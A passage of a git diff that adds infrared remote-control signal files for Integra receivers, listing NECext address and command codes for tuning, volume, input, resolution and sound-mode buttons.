+address: D2 02 00 00 +command: C3 00 00 00 +# +name: NET_ENTER +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C4 00 00 00 +# +name: NET/USB_SELECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C4 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C4 00 00 00 +# +name: NET/USB_CAPS +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D0 00 00 00 +# +name: NET/USB_DELETE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D1 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D3 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D4 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: NET/USB_1 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: NET/USB_2 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: NET/USB_3 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: NET/USB_4 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: NET/USB_5 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: NET/USB_6 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: NET/USB_7 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: NET/USB_8 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: NET/USB_9 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: NET/USB_0 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: 0_/_10 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: DIRECT_ACCESS +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: TUNE_DIRECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: DIRECT_TUNING +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: DIRECT_TUNE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: D-TUNE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 +# +name: D._TUN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir new file mode 100644 index 000000000..7632837fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 40 00 00 00 +# +name: Z2_TUNING_UP +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 40 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 41 00 00 00 +# +name: Z2_TUNING_DOWN +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 41 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 4D 00 00 00 +# +name: XM_SEARCH_MODE +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 4D 00 00 00 +# +name: NET_TUNE_FFWD +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 80 00 00 00 +# +name: NET_TUNE_REW +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 81 00 00 00 +# +name: NET_TUNE_RETURN +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 86 00 00 00 +# +name: MUSIC_SERVER +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 88 00 00 00 +# +name: INTERNET_RADIO +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 89 00 00 00 +# +name: NET_TUNE_PLAY +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 8D 00 00 00 +# +name: NET_TUNE_STOP +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 8E 00 00 00 +# +name: NET_TUNE_TRACK_+ +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 8F 00 00 00 +# +name: NET_TUNE_TRACK_- +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 90 00 00 00 +# +name: NET_TUNE_PAUSE +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 91 00 00 00 +# +name: NET_TUNE_REPEAT +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 92 00 00 00 +# +name: NET_TUNE_RANDOM +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 93 00 00 00 +# +name: NET_TUNE_DISPLAY +type: parsed +protocol: NECext +address: D2 14 00 00 +command: 9E 00 00 00 +# +name: NET_TUNE_UP +type: parsed +protocol: NECext +address: D2 14 00 00 +command: C0 00 00 00 +# +name: NET_TUNE_DOWN +type: parsed +protocol: NECext +address: D2 14 00 00 +command: C1 00 00 00 +# +name: NET_TUNE_LEFT +type: parsed +protocol: NECext +address: D2 14 00 00 +command: C2 00 00 00 +# +name: NET_TUNE_RIGHT +type: parsed +protocol: NECext +address: D2 14 00 00 +command: C3 00 00 00 +# +name: NET_TUNE_SELECT +type: parsed +protocol: NECext +address: D2 14 00 00 +command: C4 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D5 00 00 00 +# +name: NET_TUNE_1 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D5 00 00 00 +# +name: Z2_1 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D5 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D5 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D6 00 00 00 +# +name: NET_TUNE_2 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D6 00 00 00 +# +name: Z2_2 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D6 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D7 00 00 00 +# +name: NET_TUNE_3 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D7 00 00 00 +# +name: Z2_3 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D8 00 00 00 +# +name: NET_TUNE_4 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D8 00 00 00 +# +name: Z2_4 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D9 00 00 00 +# +name: NET_TUNE_5 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D9 00 00 00 +# +name: Z2_5 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: D9 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DA 00 00 00 +# +name: NET_TUNE_6 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DA 00 00 00 +# +name: Z2_6 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DA 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DB 00 00 00 +# +name: NET_TUNE_7 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DB 00 00 00 +# +name: Z2_7 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DB 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DC 00 00 00 +# +name: NET_TUNE_8 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DC 00 00 00 +# +name: Z2_8 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DD 00 00 00 +# +name: NET_TUNE_9 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DD 00 00 00 +# +name: Z2_9 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DD 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DE 00 00 00 +# +name: NET_TUNE_0/10 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DE 00 00 00 +# +name: Z2_0/10 +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DE 00 00 00 +# +name: DIRECT_TUNE +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DF 00 00 00 +# +name: Z2_DIRECT_TUNING +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DF 00 00 00 +# +name: DIRECT_TUNING +type: parsed +protocol: NECext +address: D2 14 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir new file mode 100644 index 000000000..10fac1ed8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: Z3_PRESET_UP +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 00 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 00 00 00 00 +# +name: Z3_PRESET_DOWN +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 01 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 02 00 00 00 +# +name: Z3_VOLUME_+ +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 03 00 00 00 +# +name: Z3_VOLUME_- +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 03 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 04 00 00 00 +# +name: Z3_POWER_ON +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 04 00 00 00 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 05 00 00 00 +# +name: Z3_MUTING_(TOGGLE) +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 05 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 05 00 00 00 +# +name: Z3_TAPE1(TAPE) +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 08 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 08 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 08 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 09 00 00 00 +# +name: Z3_CD +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 09 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 09 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0A 00 00 00 +# +name: Z3_PHONO +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0A 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0B 00 00 00 +# +name: Z3_TUNER +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0B 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0B 00 00 00 +# +name: VIDEO_3_GAME/TV +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0D 00 00 00 +# +name: Z3_GAME/TV +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0D 00 00 00 +# +name: INPUT:_GAME/TV +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0D 00 00 00 +# +name: VIDEO_2_CBL/SAT +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0E 00 00 00 +# +name: Z3_CBL/SAT +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0E 00 00 00 +# +name: INPUT:_CBL/SAT +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0E 00 00 00 +# +name: VIDEO_1_VCR/DVR +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0F 00 00 00 +# +name: Z3_VCR/DVR +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VCR/DVR +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 0F 00 00 00 +# +name: Z3_FM +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 46 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 46 00 00 00 +# +name: Z3_AM +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 47 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 47 00 00 00 +# +name: VIDEO_6_PC +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9D 00 00 00 +# +name: Z3_AUX2 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9D 00 00 00 +# +name: INPUT:_AUX_2 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9D 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9D 00 00 00 +# +name: VIDEO_4_AUX1 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9F 00 00 00 +# +name: Z3_AUX1(AUX) +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9F 00 00 00 +# +name: INPUT:_AUX_1 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 15 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir new file mode 100644 index 000000000..6019833f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: Z3_VOLUME_+_(2) +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 42 00 00 00 +# +name: Z3_VOLUME_-_(2) +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 43 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 47 00 00 00 +# +name: Z3_STANDBY +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 47 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 47 00 00 00 +# +name: Z3_SOURCE +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 5F 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 5F 00 00 00 +# +name: Z3_MUTING_ON +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 84 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 84 00 00 00 +# +name: Z3_MUTING_OFF +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 85 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 85 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 8C 00 00 00 +# +name: Z3_DVD +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 8C 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: D2 16 00 00 +command: 8C 00 00 00 +# +name: Z3_STANDBY/ON_(TGLE) +type: parsed +protocol: NECext +address: D2 16 00 00 +command: CB 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: D2 16 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir new file mode 100644 index 000000000..88bce441f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: UNIVERSAL_PORT +type: parsed +protocol: NECext +address: D2 17 00 00 +command: 8A 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: D2 17 00 00 +command: 9E 00 00 00 +# +name: XM +type: parsed +protocol: NECext +address: D2 17 00 00 +command: DA 00 00 00 +# +name: SIRIUS +type: parsed +protocol: NECext +address: D2 17 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir new file mode 100644 index 000000000..ecf27a71d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: Z3_TUNING_UP +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 40 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 40 00 00 00 +# +name: Z3_TUNING_DOWN +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 41 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 41 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 4D 00 00 00 +# +name: USB_FRONT +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 87 00 00 00 +# +name: NET_AUDIO +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 87 00 00 00 +# +name: MUSIC_SERVER +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 88 00 00 00 +# +name: INTERNET_RADIO +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 89 00 00 00 +# +name: NET_TUNE_PLAY +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 8D 00 00 00 +# +name: NET_TUNE_STOP +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 8E 00 00 00 +# +name: NET_TUNE_DOWN +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 8F 00 00 00 +# +name: NET_TUNE_UP +type: parsed +protocol: NECext +address: D2 18 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D5 00 00 00 +# +name: Z3_1 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D5 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D6 00 00 00 +# +name: Z3_2 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D6 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D7 00 00 00 +# +name: Z3_3 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D8 00 00 00 +# +name: Z3_4 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D9 00 00 00 +# +name: Z3_5 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: D9 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DA 00 00 00 +# +name: Z3_6 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DA 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DB 00 00 00 +# +name: Z3_7 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DB 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DC 00 00 00 +# +name: Z3_8 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DD 00 00 00 +# +name: Z3_9 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DD 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DD 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DE 00 00 00 +# +name: Z3_0/10 +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DE 00 00 00 +# +name: Z3_DIRECT_TUNING +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DF 00 00 00 +# +name: DIRECET_TUNE +type: parsed +protocol: NECext +address: D2 18 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir new file mode 100644 index 000000000..dc0a54a2c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: SETUP_HOME +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C0 00 00 00 +# +name: AUDIO_COAX/OPT +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C2 00 00 00 +# +name: AUDIO_COAX/OPT_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C2 00 00 00 +# +name: RESOLUTION_1080P/24F +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C3 00 00 00 +# +name: MODE_THX_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C4 00 00 00 +# +name: THX_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C4 00 00 00 +# +name: MODE_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C5 00 00 00 +# +name: THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C5 00 00 00 +# +name: MODE_NEURAL_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C6 00 00 00 +# +name: MODE_NEURAL_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C7 00 00 00 +# +name: RESOLUTION_SOURCE +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C9 00 00 00 +# +name: RESOLUTION_THRU +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CA 00 00 00 +# +name: RESOLUTION_THROUGH +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CA 00 00 00 +# +name: RESOLUTION:_THROUGH +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CA 00 00 00 +# +name: RESOLUTION_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CB 00 00 00 +# +name: RESOLUTION:_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CB 00 00 00 +# +name: RESOLUTION_480P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CC 00 00 00 +# +name: RESOLUTION:_480P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CC 00 00 00 +# +name: RESOLUTION_720P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CD 00 00 00 +# +name: RESOLUTION:_720P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CD 00 00 00 +# +name: RESOLUTION_1080I +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CE 00 00 00 +# +name: RESOLUTION:_1080I +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CE 00 00 00 +# +name: RESOLUTION_1080P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CF 00 00 00 +# +name: RESOLUTION:_1080P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CF 00 00 00 +# +name: AUDIO_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D0 00 00 00 +# +name: AUDIO:_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D0 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D0 00 00 00 +# +name: AUDIO_ANALOG +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D1 00 00 00 +# +name: ANALOG +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D1 00 00 00 +# +name: AUDIO_MULTI_CHANNEL +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D2 00 00 00 +# +name: AUDIO:_ANALOG +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D2 00 00 00 +# +name: MULITCH +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D2 00 00 00 +# +name: AUDIO_HDMI +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D3 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D3 00 00 00 +# +name: MODE_PLLX_THX_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D4 00 00 00 +# +name: MODE_PLLX_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D6 00 00 00 +# +name: PLIIX_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D6 00 00 00 +# +name: NEO:_6_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D6 00 00 00 +# +name: PLIIX_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D6 00 00 00 +# +name: MODE_NEO_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D7 00 00 00 +# +name: NEO:6_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D7 00 00 00 +# +name: MODE_NEURAL_THX_GAME +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D7 00 00 00 +# +name: MODE_PLLX_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D8 00 00 00 +# +name: PLIIX_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D8 00 00 00 +# +name: 